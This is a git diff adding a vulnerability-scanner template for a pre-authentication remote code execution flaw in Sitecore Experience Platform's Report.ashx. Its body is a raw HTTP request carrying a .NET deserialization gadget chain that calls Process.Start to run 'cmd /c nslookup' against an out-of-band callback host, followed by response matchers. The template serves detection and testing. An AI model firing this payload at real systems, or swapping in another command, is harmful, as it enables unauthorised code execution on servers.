diff --git a/vulnerabilities/sitecore-pre-auth-rce.yaml b/vulnerabilities/sitecore-pre-auth-rce.yaml new file mode 100644 index 0000000000..940242ff05 --- /dev/null +++ b/vulnerabilities/sitecore-pre-auth-rce.yaml @@ -0,0 +1,104 @@ +id: sitecore-pre-auth-rce + +info: + name: Sitecore Experience Platform Pre-Auth RCE + author: pdteam + severity: critical + description: This issue is related to a remote code execution vulnerability through insecure deserialization in the Report.ashx file. This file was used to drive the Executive Insight Dashboard (of Silverlight report) that was deprecated in 8.0 Initial Release. + tags: rce,sitecore,deserialization,oast + reference: + - https://blog.assetnote.io/2021/11/02/sitecore-rce/ + - https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776 + +requests: + - raw: + - | + POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml + + + + + foo + + + + 2 + + <_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" + xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" + xmlns:a="http://schemas.datacontract.org/2004/07/System"> + + mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + Compare + + + System.String + System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] + + Start + + System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + System.Diagnostics.Process + System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] + + + + + + System.Diagnostics.Process Start(System.String, System.String) + System.Diagnostics.Process Start(System.String, System.String) + 8 + + + + + + + Int32 Compare(System.String, System.String) + System.Int32 Compare(System.String, System.String) + 8 + + + + + 2 + + /c nslookup {{interactsh-url}} + cmd + + + + + + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms DNS Interaction + words: + - "dns" + + - type: word + part: body + words: + - "System.ArgumentNullException" \ No newline at end of file